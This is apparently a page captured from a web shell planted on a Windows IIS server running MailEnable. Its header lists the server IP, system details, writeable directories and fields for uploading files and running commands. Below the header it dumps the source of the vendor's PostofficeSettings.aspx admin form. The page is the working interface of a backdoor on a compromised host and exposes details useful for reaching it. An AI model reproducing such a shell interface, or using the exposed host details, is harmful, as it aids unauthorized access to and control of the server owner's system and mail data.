403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Mail Enable/Bin/NETWebAdmin/Mondo/lang/sys/Forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files (x86)/Mail Enable/Bin/NETWebAdmin/Mondo/lang/sys/Forms/PostofficeSettings.aspx
<%@ Page Title="" Language="vb" AutoEventWireup="false" MasterPageFile="~/Mondo/lang/sys/Controls/Dialog.Master" CodeBehind="PostofficeSettings.aspx.vb" Inherits="MailEnable.Clients.WebAdmin.PostofficeSettings" %>
<asp:Content ID="CustomHeader" ContentPlaceHolderID="CustomHeader" runat="server">
<script type="text/javascript" language="javascript">
    $(document).ready(function () {
        ME_TabInit();
        setActiveTab('tab1');
        browserResize();
        $('#FormAction').click(SubmitSettings);
    });

</script>
</asp:Content>
<asp:Content ID="MainContent" ContentPlaceHolderID="MainContent" runat="server">
<div class="popupWin_tab_body_shell">
<div id="TabContainer" class="ME_Tab_table_outter">
    <div class="ME_Tab_table_shell">
    <table class="ME_Tab_table" border="0" cellpadding="0" cellspacing="0">
	    <tr>
		<th><span id="tab1" class="ME_Tab_button"><%=GetTranslation("[ME_TXT-General]")%></span></th>

        <%If MailEnable.Features.IsEnterpriseInstalled() Then%>
		<th><span id="tab2" class="ME_Tab_button">Services</span></th>
        <%End If%>

		<th><span id="tab8" class="ME_Tab_button">Auth Policies</span></th>
		<th><span id="tab3" class="ME_Tab_button">Web Admin</span></th>
		<th><span id="tab4" class="ME_Tab_button">Web Mail</span></th>
        
        <%If MailEnable.Features.IsEnterpriseInstalled() Then%>
		<th><span id="tab5" class="ME_Tab_button">Features</span></th>
		<th><span id="tab6" class="ME_Tab_button">Restrictions</span></th>
		<th><span id="tab7" class="ME_Tab_button">Agents</span></th>
        <%End If%>
        <!--
		<th><span id="tab9" class="ME_Tab_button">Migration</span></th>
        -->
        
	    </tr>
	</table>
    </div><!-- ME_Tab_table_shell -->
</div><!-- ME_Tab_table_outter -->
<form id="Settings" name="Settings" action=""><%MailEnable.Utilities.WriteFormValidationField(Response, Session.SessionID, Session.Item("ME_VALIDATIONTOKEN"))%>
    <input name="Postoffice" type="hidden" value="<%=Request("Postoffice")%>"/>
    <div class="popupWin_content_scroll_tab" id="popupWin_content_scroll_js">
	    <div class="popupWin_content_scroll_tab_inner">
            <div id="tab1_body" class="ME_Tab_shell">	<!--START TAB 1-->
                <h3>Integrated Windows Authentication</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poWindowsAuthenticationEnabled")%>
                <%=RenderSetting("poMappedDomainEnabled")%>
                <%=RenderSetting("poMappedDomain")%>
                <%=RenderSetting("poUPNEnabled")%>
                <%=RenderSetting("poWindowsAccountAutoCreation")%>
                <%=RenderSetting("poForceValidWindowsCredentials")%>
                </table>
                <br />
                <h3>Smart Hosting/Outbound Redirection</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poSmarthostOutboundEnabled")%>
                <%=RenderSetting("poSmarthostOutboundHost")%>
                <%=RenderSetting("poSmarthostOutboundAuthenticationStatus")%>
                <%=RenderSetting("poSmarthostOutboundUsername")%>
                <%=RenderSetting("poSmarthostOutboundPassword")%>
                <%=RenderSetting("poSmarthostRouteBiasMode")%>
                    <% If (MailEnable.Administration.GetProductVersion >= 11) Then %>
                    <%=RenderSetting("poSmarthostOutboundIP")%>
                    <% end if %>
                </table>

        <%If MailEnable.Features.IsProfessionalOrGreaterInstalled() Then%>
                <br />
                <h3>Facebook</h3>
                <hr />
                <%=RenderLabels("labelFaceBookPostoffice")%>
                <table class="SettingsTable">                        
                    <%=RenderSetting("poFacebookStatus")%>
                    <%=RenderSetting("poFacebookAppID")%>
                    <%=RenderSetting("poFacebookAppSecret")%>
                    <tr><td><label>Bindings:</label></td><td>
                    <%
                        Dim sPostoffice As String = Session.Item("AUTH_ACCOUNT")
                        If Not String.IsNullOrEmpty(sPostoffice) Then
                            Dim arrParams As New System.Collections.Generic.Dictionary(Of String, String)
                            arrParams.Add("Filter-Postoffice", sPostoffice)
                            Dim oSetting As MailEnable.Administration.Settings.Setting = MailEnable.Administration.Settings.GetControl("webmailBindings")
                            oSetting.FetchControlValue(arrParams)
                            Dim sOut As String = ""
                            
                            If oSetting.valuetable Is Nothing OrElse oSetting.valuetable.Rows.Count <= 0 Then
                                sOut = "Webmail must be configured to bind at least one host header to this account in order to allow Facebook logins."
                            Else
                                sOut = "Your Facebook application should allow access to the following hosts/domains:<br/>"
                                sOut += "<select style=""width:100%"">"
                                Try
                                    For Each oRow As System.Data.DataRow In oSetting.valuetable.Rows
                                        Try
                                            sOut += ("<option>" & oRow("Host") & "</option>")                                            
                                        Catch ex As Exception                                       
                                        End Try
                                    Next
                                Catch ex As Exception
                                End Try
                                sOut += "</select>"
                            End If
                            Response.Write(sOut)
                        End If
                    %>
                    </td></tr>
                </table>
        <%End If%>
        <%If MailEnable.Features.IsEnterpriseInstalled() Then%>
                <br />
                <h3>General</h3>
                <hr />
                <table class="SettingsTable">
                <%'=RenderSetting("poLocationReportingMode")%>
                <%=RenderSetting("poPostoffice-PostofficeRulesStatus")%>
                <%=RenderSetting("poPublicFolders")%>
                <%=RenderSetting("poWebMail-Public-Folders-Modification-Permitted")%>
                <%=RenderSetting("poMailbox-Quota-Status")%>
                <%=RenderSetting("poMailbox-Quota")%>
                </table>
        <%End If%>

        <%If MailEnable.Features.IsProfessionalOrGreaterInstalled() And (MailEnable.Administration.GetProductVersion >= 10) Then %>
                <br />
                <h3>Chat Jabber/XMPP</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poRosterSource")%>
                </table>
        <%End If%>

            </div>                                <!--END TAB 1-->

            <div id="tab8_body" class="ME_Tab_shell">	<!--START TAB 8-->
                <h3>Location Authentication Policies</h3>
                <hr />
                <%=RenderLabels("labelGeoAuthPolicy")%>
                <table class="SettingsTable">
                <%=RenderSetting("poGeo-Login-RestrictionType")%>
                <%=RenderSetting("poGeo-Login-Restriction")%>                               
                </table>
                <br />
                <h3>Multi-Factor Authentication</h3>
                <hr />
                <%=RenderLabels("labelMultiFactor")%>
                <table class="SettingsTable">
                <%=RenderSetting("poTwoFactorStatus")%>                                               
                </table>
            </div>                                <!--END TAB 1-->

        <%If MailEnable.Features.IsEnterpriseInstalled() Then%>

            <div id="tab2_body" class="ME_Tab_shell">	<!--START TAB 2-->
            
                <%=RenderLabels("labelPostofficeServicesEnabled")%> 

                <table class="SettingsTable">
                <%=RenderSetting("poSMTP")%>
                <%=RenderSetting("poPOP")%>
                <%=RenderSetting("poHTTPMail")%>
                <%=RenderSetting("poWebMail")%>
                <%=RenderSetting("poIMAP")%>
                <%=RenderSetting("poMAPI")%>
                <%=RenderSetting("poActiveSync")%>
                <%If MailEnable.Features.IsProfessionalOrGreaterInstalled() And (MailEnable.Administration.GetProductVersion >= 10) Then %>
                <%=RenderSetting("poChatStatus")%>
                <%End If %>
                </table>
            </div>                                <!--END TAB 2-->
            <%End If%>
            <div id="tab3_body" class="ME_Tab_shell">	<!--START TAB 3-->
                <h3>Mailboxes</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poWebAdmin-CanEditMailboxes")%>
                <%=RenderSetting("poWebAdmin-MaxMailboxes")%>
                <%=RenderSetting("poWebAdmin-CanEditMailboxSize")%>
                <%=RenderSetting("poWebAdmin-DefaultMailboxSize")%>
                </table>
                <br />
                <h3>Lists</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poWebAdmin-CanEditLists")%>
                <%=RenderSetting("poWebAdmin-MaxLists")%>
                <%=RenderSetting("poWebAdmin-MaxListMembers")%>
                </table>
                <br />
                <h3>Other</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poWebAdmin-CanEditDomains")%>
                <%If MailEnable.Features.IsEnterpriseInstalled() Then%>
                <%=RenderSetting("poWebAdmin-CanEditDirectoryEntries")%>
                <%End If%>
                <%=RenderSetting("poWebAdmin-Branding")%>
                <%If MailEnable.Features.IsProfessionalOrGreaterInstalled() And (MailEnable.Administration.GetProductVersion >= 10) Then %>
                <%=RenderSetting("poWebAdmin-SmallButtons")%>
                <%End If %>

                </table>
                <br />
            </div>                                <!--END TAB 3-->
            <div id="tab4_body" class="ME_Tab_shell">	<!--START TAB 4-->
                <table class="SettingsTable">
                <%If MailEnable.Features.IsEnterpriseInstalled() Then%>
                <%=RenderSetting("poWebMail-Shares")%>
                <%End If %>

                <%If MailEnable.Features.IsEnterpriseInstalled() Then%>
                <%=RenderSetting("poWebMail-MessageSpamAction")%>
                <%End If %>

                <%=RenderSetting("poWebMail-FileStoreEnabled")%>
                <%=RenderSetting("poWebMail-SpellcheckEmailsBeforeSending")%>

                <%If MailEnable.Features.IsProfessionalOrGreaterInstalled() And (MailEnable.Administration.GetProductVersion >= 10) Then %>
                <%=RenderSetting("poWebMail-SessionTimeOutStatus")%>
                <%=RenderSetting("poWebMail-SmallButtons")%>
                <%End If %>
                </table>
            </div>                                <!--END TAB 4-->


         <!--DISABLE MIGRAITON SETTINGS -->
         <!--

            <div id="tab9_body" class="ME_Tab_shell">
                <h3>Import/Migration Defaults</h3>
                <hr />
                <%=RenderLabels("labelPostofficeMigrationDefaults")%> 
                <table class="SettingsTable">
                <%=RenderSetting("poMigrationCardDAVURL")%>
                <%=RenderSetting("poMigrationCalDAVURL")%>
                <%=RenderSetting("poMigrationIMAPServer")%>
                <%=RenderSetting("poMigrationIMAPPort")%>
                <%=RenderSetting("poMigrationIMAPSSL")%>
                </table>
            </div>                              

      -->
      <%If MailEnable.Features.IsEnterpriseInstalled() Then%>
            <div id="tab5_body" class="ME_Tab_shell">	<!--START TAB 5-->
                <h3>Spam and Antivirus Settings</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poSMTP-GreyListing")%>
                <%=RenderSetting("poRDNS")%>
                <%=RenderSetting("poAntivirus")%>
                <%=RenderSetting("poDelivery-DeliverToStatus")%>
                <%=RenderSetting("poMailbox-JunkReport-Status")%>
                </table>
            </div>                                <!--END TAB 5-->
        <%End If %>
        <%If MailEnable.Features.IsEnterpriseInstalled() Then%>
            <div id="tab6_body" class="ME_Tab_shell">	<!--START TAB 6-->
                <h3>Mailbox Message Send Restrictions</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poSMTP-Inbound-Message-UsageRestrictionEnabled")%>
                <%=RenderSetting("poSMTP-Inbound-Message-UsageRestriction")%>
                </table>
                <br />
                <h3>Authentication</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poLocalDeliveryRequiresAuthentication")%>
                </table>
            </div>                                <!--END TAB 6-->

            <div id="tab7_body" class="ME_Tab_shell">	<!--START TAB 6-->
                <h3>Quota Notification Agent</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poPostoffice-Quota-Limit-Enabled")%>
                <%=RenderSetting("poPostoffice-Quota-LimitMB")%>
                <%=RenderSetting("poPostoffice-Quota-Notification-Threshold")%>
                <%=RenderSetting("poPostoffice-Quota-Notification-Mailbox")%>
                </table>
                <h3>Mailbox Cleanup Agent</h3>
                <hr />
                <table class="SettingsTable">
                <%=RenderSetting("poAgent-Purge-Postmaster-Inbox-Enabled")%>
                <%=RenderSetting("poAgent-Purge-Postmaster-Inbox-Value")%>
                <%=RenderSetting("poAgent-Purge-Postmaster-Inbox-DeleteUnread")%>
                </table>
                <br />
                <table class="SettingsTable">
                <%=RenderSetting("poAgent-Purge-Inbox-Enabled")%>
                <%=RenderSetting("poAgent-Purge-Inbox-Value")%>
                <%=RenderSetting("poAgent-Purge-Inbox-DeleteUnread")%>
                </table>
                <br />
                <table class="SettingsTable">
                <%=RenderSetting("poAgent-Purge-Sent-Enabled")%>
                <%=RenderSetting("poAgent-Purge-Sent-Value")%>
                <%=RenderSetting("poAgent-Purge-Sent-DeleteUnread")%>
                </table>
                <br />
                <table class="SettingsTable">
                <%=RenderSetting("poAgent-Purge-Junk-Enabled")%>
                <%=RenderSetting("poAgent-Purge-Junk-Value")%>
                <%=RenderSetting("poAgent-Purge-Junk-DeleteUnread")%>
                </table>
                <br />
                <table class="SettingsTable">
                <%=RenderSetting("poAgent-Purge-Deleted-Enabled")%>
                <%=RenderSetting("poAgent-Purge-Deleted-Value")%>
                <%=RenderSetting("poAgent-Purge-Deleted-DeleteUnread")%>
                </table>

            </div>                                <!--END TAB 6-->
        <%End If %>
        </div><!-- popupWin_content_scroll_tab_inner-->
    </div><!-- popupWin_content_scroll_tab -->
</form>
<!-- Footer Bttns -->
<div class="popupWin_tab_foot" id="popupWin_foot_bttns_js">
    <button id="FormAction" class="ME_Button" style="cursor:pointer" name="action" type="submit">Save</button>
</div>
</div><!-- popupWin_tab_body_shell -->
</asp:Content>

Youez - 2016 - github.com/yon3zu
LinuXploit